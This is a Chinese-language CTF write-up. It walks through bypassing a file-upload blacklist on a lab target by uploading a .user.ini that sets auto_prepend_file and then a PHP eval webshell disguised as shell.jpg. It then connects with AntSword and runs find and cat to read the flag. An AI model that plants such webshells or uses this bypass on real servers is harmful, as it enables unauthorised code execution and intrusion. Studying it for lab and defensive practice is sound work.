【CTF 文件上传漏洞】a0_upload_bypass6 利用.user.ini 包含上传绕过黑名单详解
一、题目信息题目名称a0_upload_bypass6靶机地址http://180.76.235.121:33700考点.user.ini目录配置包含漏洞、PHP-FPM 运行机制、图片马包含执行绕过上传黑名单核心原理.user.ini是 PHP-FPM 环境的目录级配置文件配置auto_prepend_fileshell.jpg后当前目录任意 PHP 文件被访问时PHP 会自动加载执行 shell.jpg 内的 PHP 代码无需直接访问图片马区分.htaccess仅适用于 Apache.user.ini仅适用于 PHP-CGI/FPM。二、前置准备构造两个上传文件① 配置文件.user.ini优先上传新建文本文档写入配置内容iniauto_prepend_fileshell.jpg保存文件名必须为.user.ini文件名开头带英文小数点不能省略auto_prepend_filePHP 配置项作用是当前目录所有 php 文件运行前自动前置包含指定文件。② 一句话木马文件shell.jpg图片后缀绕过黑名单过滤新建文本文档写入蚁剑可用 PHP 一句话php运行?php eval($_POST[cmd]); ?保存为shell.jpg连接密码cmd。原理后端上传黑名单拦截.php后缀改为.jpg可绕过文件后缀检测依靠.user.ini 包含执行内部 PHP 代码。三、上传操作关键顺序先传 ini、后传图片马必须同目录打开上传页面http://180.76.235.121:33700/upload.php第一步选择.user.ini文件点击 upload 完成上传第二步选择shell.jpg文件点击 upload 完成上传两个文件必须上传至同一个upload目录配置才能正常生效。四、蚁剑 (AntSword) 连接靶机打开蚁剑 → 添加数据连接 URLhttp://180.76.235.121:33700/upload/index.php连接密码cmd连接类型PHP编码默认 UTF-8点击【测试连接】→连接成功后添加站点双击站点进入虚拟终端开始查找 flag。五、Linux 终端查找并读取 flag1. 全盘检索 flag 文件在蚁剑终端输入命令2/dev/null屏蔽权限报错只输出有效路径bash运行find / -name *flag* 2/dev/null2. cat 读取 flag 内容根据搜索返回的真实文件路径如/flag_xxxx.txt执行读取bash运行cat /flag_xxxx.txt页面输出字符串即为 flag复制提交即可完成题目。